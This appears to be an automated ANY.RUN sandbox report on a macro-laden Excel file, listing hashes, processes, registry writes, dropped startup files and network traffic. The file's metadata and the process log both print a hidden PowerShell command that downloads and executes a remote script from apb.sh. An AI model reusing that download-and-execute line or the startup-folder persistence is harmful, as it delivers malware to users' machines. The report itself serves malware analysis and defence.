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File name:

ee80776a80aeba381b6b09472fcfc61d3ef76d59c31e92f60fdb5c2a8f5ce2d0.xls

Full analysis: https://app.any.run/tasks/71704ca4-fd74-4da1-a5a6-c599e3c93f6b
Verdict: Malicious activity
Analysis date: May 15, 2019, 11:58:00
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
maldoc-5
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Subject: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -w hidden -Command iex(New-Object System.Net.WebClient).DownloadString('http://apb.sh/helloworld.ps1'), Author: user, Last Saved By: user, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu May 9 13:27:32 2019, Last Saved Time/Date: Tue May 14 01:27:04 2019, Security: 0
MD5:

8CAC914B45C1E8FBDA38FF1D712E3D37

SHA1:

29249BF304397C2A0EA2BF8EED7EF2CB66DDCF74

SHA256:

EE80776A80AEBA381B6B09472FCFC61D3EF76D59C31E92F60FDB5C2A8F5CE2D0

SSDEEP:

1536:UOxEtjPOtioVjDGUU1qfDlaGGx+cL2QnAjaGpgUuT6Calhr:UOxEtjPOtioVjDGUU1qfDlaGGx+cL2Q+

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • EXCEL.EXE (PID: 2836)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2836)

    • Writes to a start menu file

      • powershell.exe (PID: 3276)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3276)

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2836)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

CompObjUserType: Microsoft Excel 2003 Worksheet
CompObjUserTypeLen: 31
HeadingPairs:
  • Worksheets
  • 1
TitleOfParts: Sheet1
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 14
CodePage: Windows Latin 1 (Western European)
Security: None
ModifyDate: 2019:05:14 00:27:04
CreateDate: 2019:05:09 12:27:32
Software: Microsoft Excel
LastModifiedBy: user
Author: user
Subject: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -w hidden -Command iex(New-Object System.Net.WebClient).DownloadString('http://apb.sh/helloworld.ps1')
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
34
Monitored processes
2
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start excel.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2836"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
3276"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoExit -w hidden -Command iex(New-Object System.Net.WebClient).DownloadString('http://apb.sh/helloworld.ps1')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
704
Read events
609
Write events
88
Delete events
7

Modification events

(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:xl>
Value:
786C3E00140B0000010000000000000000000000
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:11274
Value:
On
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:writeName:MTTT
Value:
140B00006222F97B150BD50100000000
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete valueName:xl>
Value:
786C3E00140B0000010000000000000000000000
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete keyName:
Value:
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:delete keyName:
Value:
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
Executable files
0
Suspicious files
2
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
2836EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR4048.tmp.cvr —
MD5:—
SHA256:—
3276powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PFNE8SQIBMYZH96JLVN9.temp —
MD5:—
SHA256:—
3276powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a.battext
MD5:A1F54349D8DC2E7B70C10FCC8659E234
SHA256:36C51108E58EB164009D8A2023B4CDE8ECAF8DD77011630B166752A4D3329C56
3276powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF
SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5
3276powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1348e3.TMPbinary
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF
SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5
3276powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.xmltext
MD5:79518A490077C4B39D36FFB9FD1593FB
SHA256:9041D70EB4B39AEE23239C4881930F43104CD17A4A4418994701BCF41D628087
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
1
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3276
powershell.exe
GET
200
35.158.61.146:80
http://apb.sh/msbuild.xml
DE
text
12.3 Kb
malicious
3276
powershell.exe
GET
200
35.158.61.146:80
http://apb.sh/helloworld.ps1
DE
text
505 b
malicious
3276
powershell.exe
GET
200
35.158.61.146:80
http://apb.sh/per.txt
DE
text
186 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3276
powershell.exe
35.158.61.146:80
apb.sh
Amazon.com, Inc.
DE
malicious

DNS requests

Domain
IP
Reputation
apb.sh
  • 35.158.61.146
malicious
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
3276
powershell.exe
A Network Trojan was detected
ET INFO PowerShell NoProfile Command Received In Powershell Stagers
3276
powershell.exe
A Network Trojan was detected
ET INFO PowerShell Hidden Window Command Common In Powershell Stagers M1
3276
powershell.exe
A Network Trojan was detected
ET INFO PowerShell NonInteractive Command Common In Powershell Stagers
No debug info
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Reports
ee80776a80aeba381b6b09472fcfc61d3ef76d59c31e92f60fdb5c2a8f5ce2d0.xls